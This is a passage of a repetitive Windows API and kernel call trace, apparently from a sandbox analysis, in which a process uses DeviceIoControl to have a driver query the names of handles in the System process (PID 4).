DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002503050, HandleInformation=0x0) returned 0x0 [0135.307] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.307] PsReleaseProcessExitSynchronization () returned 0x2 [0135.307] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.307] ObQueryNameString (in: Object=0xfffffa8002503050, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.307] ObfDereferenceObject (Object=0xfffffa8002503050) returned 0x2 [0135.307] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.307] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.307] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.307] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.307] PsAcquireProcessExitSynchronization () returned 0x0 [0135.307] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.307] ObReferenceObjectByHandle (in: Handle=0xffffffff800008b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021521f0, HandleInformation=0x0) returned 0x0 [0135.307] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.308] PsReleaseProcessExitSynchronization () returned 0x2 [0135.308] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.308] ObQueryNameString (in: Object=0xfffffa80021521f0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.308] ObfDereferenceObject (Object=0xfffffa80021521f0) returned 0x2 [0135.308] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.308] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.308] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.308] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.308] PsAcquireProcessExitSynchronization () returned 0x0 [0135.308] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.308] ObReferenceObjectByHandle (in: Handle=0xffffffff800008b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800250e1c0, HandleInformation=0x0) returned 0x0 [0135.308] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.308] PsReleaseProcessExitSynchronization () returned 0x2 [0135.308] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.308] ObQueryNameString (in: Object=0xfffffa800250e1c0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.308] ObfDereferenceObject (Object=0xfffffa800250e1c0) returned 0x2 [0135.308] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.308] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.308] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.308] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.308] PsAcquireProcessExitSynchronization () returned 0x0 [0135.308] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.308] ObReferenceObjectByHandle (in: Handle=0xffffffff800008bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800390a7d0, HandleInformation=0x0) returned 0x0 [0135.308] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.308] PsReleaseProcessExitSynchronization () returned 0x2 [0135.308] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.308] ObQueryNameString (in: Object=0xfffffa800390a7d0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.308] ObfDereferenceObject (Object=0xfffffa800390a7d0) returned 0x2 [0135.308] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.308] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.308] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.308] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.308] PsAcquireProcessExitSynchronization () returned 0x0 [0135.309] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.309] ObReferenceObjectByHandle (in: Handle=0xffffffff800008c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002665050, HandleInformation=0x0) returned 0x0 [0135.309] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.309] PsReleaseProcessExitSynchronization () returned 0x2 [0135.309] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.309] ObQueryNameString (in: Object=0xfffffa8002665050, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.309] ObfDereferenceObject (Object=0xfffffa8002665050) returned 0x2 [0135.309] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.309] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.309] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.309] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.309] PsAcquireProcessExitSynchronization () returned 0x0 [0135.309] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.309] ObReferenceObjectByHandle (in: Handle=0xffffffff800008cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003097ab0, HandleInformation=0x0) returned 0x0 [0135.309] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.309] PsReleaseProcessExitSynchronization () returned 0x2 [0135.309] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.309] ObQueryNameString (in: Object=0xfffffa8003097ab0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.309] ObfDereferenceObject (Object=0xfffffa8003097ab0) returned 0x2 [0135.309] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.309] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.309] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.309] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.309] PsAcquireProcessExitSynchronization () returned 0x0 [0135.309] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.309] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002508680, HandleInformation=0x0) returned 0x0 [0135.309] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.309] PsReleaseProcessExitSynchronization () returned 0x2 [0135.309] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.309] ObQueryNameString (in: Object=0xfffffa8002508680, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.309] ObfDereferenceObject (Object=0xfffffa8002508680) returned 0x2 [0135.310] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.310] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.310] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.310] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.310] PsAcquireProcessExitSynchronization () returned 0x0 [0135.310] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.310] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800e5ccde0, HandleInformation=0x0) returned 0x0 [0135.310] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.310] PsReleaseProcessExitSynchronization () returned 0x2 [0135.310] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.310] ObQueryNameString (in: Object=0xfffffa800e5ccde0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.310] ObfDereferenceObject (Object=0xfffffa800e5ccde0) returned 0x2 [0135.310] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.310] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.310] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.310] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.310] PsAcquireProcessExitSynchronization () returned 0x0 [0135.310] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.310] ObReferenceObjectByHandle (in: Handle=0xffffffff800008e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800e75f050, HandleInformation=0x0) returned 0x0 [0135.310] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.310] PsReleaseProcessExitSynchronization () returned 0x2 [0135.310] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.310] ObQueryNameString (in: Object=0xfffffa800e75f050, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.310] ObfDereferenceObject (Object=0xfffffa800e75f050) returned 0x2 [0135.310] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.310] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.310] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.310] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.311] PsAcquireProcessExitSynchronization () returned 0x0 [0135.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.311] ObReferenceObjectByHandle (in: Handle=0xffffffff800008e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003967f20, HandleInformation=0x0) returned 0x0 [0135.311] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.311] PsReleaseProcessExitSynchronization () returned 0x2 [0135.311] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.311] ObQueryNameString (in: Object=0xfffffa8003967f20, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.311] ObfDereferenceObject (Object=0xfffffa8003967f20) returned 0x2 [0135.311] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.311] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.311] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.311] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.311] PsAcquireProcessExitSynchronization () returned 0x0 [0135.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.311] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002510bd0, HandleInformation=0x0) returned 0x0 [0135.311] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.311] PsReleaseProcessExitSynchronization () returned 0x2 [0135.311] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.311] ObQueryNameString (in: Object=0xfffffa8002510bd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.311] ObfDereferenceObject (Object=0xfffffa8002510bd0) returned 0x2 [0135.311] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.311] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.311] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.311] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.311] PsAcquireProcessExitSynchronization () returned 0x0 [0135.311] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.311] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800254c900, HandleInformation=0x0) returned 0x0 [0135.311] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.311] PsReleaseProcessExitSynchronization () returned 0x2 [0135.311] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.311] ObQueryNameString (in: Object=0xfffffa800254c900, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.311] ObfDereferenceObject (Object=0xfffffa800254c900) returned 0x2 [0135.311] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.312] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.312] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.312] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.312] PsAcquireProcessExitSynchronization () returned 0x0 [0135.312] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.312] ObReferenceObjectByHandle (in: Handle=0xffffffff800008fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800b97c3f0, HandleInformation=0x0) returned 0x0 [0135.312] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.312] PsReleaseProcessExitSynchronization () returned 0x2 [0135.312] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.312] ObQueryNameString (in: Object=0xfffffa800b97c3f0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.312] ObfDereferenceObject (Object=0xfffffa800b97c3f0) returned 0x2 [0135.312] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.312] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.312] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.312] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.312] PsAcquireProcessExitSynchronization () returned 0x0 [0135.312] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.312] ObReferenceObjectByHandle (in: Handle=0xffffffff80000900, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034881c0, HandleInformation=0x0) returned 0x0 [0135.312] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.312] PsReleaseProcessExitSynchronization () returned 0x2 [0135.312] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.312] ObQueryNameString (in: Object=0xfffffa80034881c0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.312] ObfDereferenceObject (Object=0xfffffa80034881c0) returned 0x2 [0135.312] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.312] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.312] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.312] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.312] PsAcquireProcessExitSynchronization () returned 0x0 [0135.312] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.312] ObReferenceObjectByHandle (in: Handle=0xffffffff80000904, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800226f050, HandleInformation=0x0) returned 0x0 [0135.312] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.313] PsReleaseProcessExitSynchronization () returned 0x2 [0135.313] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.313] ObQueryNameString (in: Object=0xfffffa800226f050, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.313] ObfDereferenceObject (Object=0xfffffa800226f050) returned 0x2 [0135.313] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.313] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.313] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.313] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.313] PsAcquireProcessExitSynchronization () returned 0x0 [0135.313] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.313] ObReferenceObjectByHandle (in: Handle=0xffffffff80000920, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002277340, HandleInformation=0x0) returned 0x0 [0135.313] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.313] PsReleaseProcessExitSynchronization () returned 0x2 [0135.313] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.313] ObQueryNameString (in: Object=0xfffffa8002277340, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.313] ObfDereferenceObject 